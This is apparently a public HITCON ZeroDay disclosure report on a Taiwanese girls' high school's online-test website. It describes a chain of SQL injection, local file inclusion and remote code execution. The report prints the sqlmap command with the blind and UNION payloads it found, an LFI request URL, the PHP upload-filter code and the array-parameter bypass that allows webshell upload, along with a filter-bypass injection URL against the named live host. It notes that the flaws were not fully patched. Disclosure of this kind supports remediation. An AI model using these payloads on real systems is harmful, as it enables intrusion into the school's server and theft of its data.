Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00401
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 蘭陽女中 存在 SQLi LFI RCE
- Introduction: SQLi LFI RCE
處理狀態
目前狀態
公開
Last Update : 2022/08/17
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2022/06/17 17:06:23 : 新提交 (由 entroy 更新此狀態)
- 2022/06/17 17:08:53 : 新提交 (由 entroy 更新此狀態)
- 2022/06/17 17:10:19 : 新提交 (由 entroy 更新此狀態)
- 2022/06/19 18:46:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/20 15:57:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/20 15:57:14 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/28 17:13:24 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/05 17:20:10 : 未修補完成 (由 entroy 更新此狀態)
- 2022/08/17 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00401
- 通報者:entroy (entroy)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/index.php?cat_over=all&thesis_cat=178
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_download.php?filename=lifethesis_download.php&id=180&filenamech=whatever.pdf
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_detail.php?thesis_cat=178&sorted=posttime&page=1&id=15817
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_admin_cat_change.php
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_download.php?filename=lifethesis_download.php&id=180&filenamech=whatever.pdf
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_detail.php?thesis_cat=178&sorted=posttime&page=1&id=15817
https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_admin_cat_change.php
敘述
蘭陽女中 online test 滲透測試
SQL injection
- 參數
thesis_cat存在明顯 SQL injection 注入點,以 sqlmap 驗證sqlmap https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/index.php\?cat_over\=all\&thesis_cat\=178 -p thesis_cat --level 5 --risk 3 --batch --random-agent -
result
--- Parameter: thesis_cat (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat_over=all&thesis_cat=178 AND 8023=8023 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cat_over=all&thesis_cat=178 AND (SELECT 2530 FROM (SELECT(SLEEP(5)))EoNB) Type: UNION query Title: Generic UNION query (NULL) - 49 columns Payload: cat_over=all&thesis_cat=178 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7a71,0x6972637477486945624f49756e7545614545476e45494d6e70694b615379747871564f5956496c5a,0x7171717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - --- [13:37:20] [INFO] the back-end DBMS is MySQL web server operating system: Windows 10 or 2016 or 2019 web application technology: ASP.NET, Microsoft IIS 10.0, PHP, PHP 7.4.7 back-end DBMS: MySQL >= 5.0.12 - 可以 dump 出 admin 的帳密,密碼有做雜湊,但是是弱密碼
LFI
- 登入 admin 之後,轉一下可以看到有一個明顯的 LFI
curl https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_download.php?filename=lifethesis_download.php&id=180&filenamech=whatever.pdfRCE
- admin 可以設定檔案上傳的副檔名,看 source code 可以看到即使 admin 允許
php,但是會檢查是不是敏感的副檔名// lifethesis_admin_cat_change.php if(strpos($_POST['cat_upload_ext'], "php")!==false || strpos($_POST['cat_upload_ext'], "asp")!==false || strpos($_POST['cat_upload_ext'], "exe")!==false || strpos($_POST['cat_upload_ext'], "cgi")!==false || strpos($_POST['cat_upload_ext'], "aspx")!==false){ echo "禁止設定cgi之類程式檔案上傳:".$_POST['cat_upload_ext'] . "<hr>"; exit(); } - 但是可以用 array 繞過
// lifethesis_admin_cat_change.php Content-Disposition: form-data; name="cat_upload_ext[]" doc,ppt - 後面邏輯是比對給的副檔名,但是因為是 array 所以又繞過了
//取得作業梯次允許上傳的類型附檔名 $allow_upload_dir=$last_cat_id; //"cat_upload_dir" $allow_file_ext=$my_cat_redme_fileext; //"cat_upload_ext" ... if(!(strpos($allow_file_ext,$ext_name2)===false) || $allow_file_ext==""){ //檢測允許的附檔名 if($upfile['size'][$i]!=0 && move_uploaded_file($upfile['tmp_name'][$i],$id_path."/".$real_filename.$ext_filename)){ if($RField_7!="") $RField_7=$RField_7 . "||"; $RField_7=$RField_7 . $id_path."/".$real_filename.$ext_filename; //存在路徑與黨名 echo "<br>RField_7".$RField_7; if($RField_8!="") $RField_8=$RField_8 . "||"; $RField_8=$RField_8 . $upfile['name'][$i]; //上傳檔名 if(!file_exists($id_path."/".$real_filename.$ext_filename) ) $RField_8=$RField_8 . "(檔案遺失)"; echo "附加檔案".$upfile['name'][$i]."移動成功<br>"; }else{ echo "附加檔案".$upfile['name'][$i]."移動失敗<br>"; } } - 之後就可以上傳 webshell 了
建議
- 洞滿多的,而且其他有做防參數被 SQL injection 的地方都沒有防的很完全,可以被 bypass
- 防
=, and, or之類的https://onlinetest.lygsh.ilc.edu.tw/%E7%94%9F%E7%A7%91%E5%B0%8F%E8%AB%96%E6%96%87/lifethesis_detail.php?thesis_cat=178&sorted=posttime&page=1&id=15817%26%26123%20like%20123
- 防
- 密碼要記得改
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。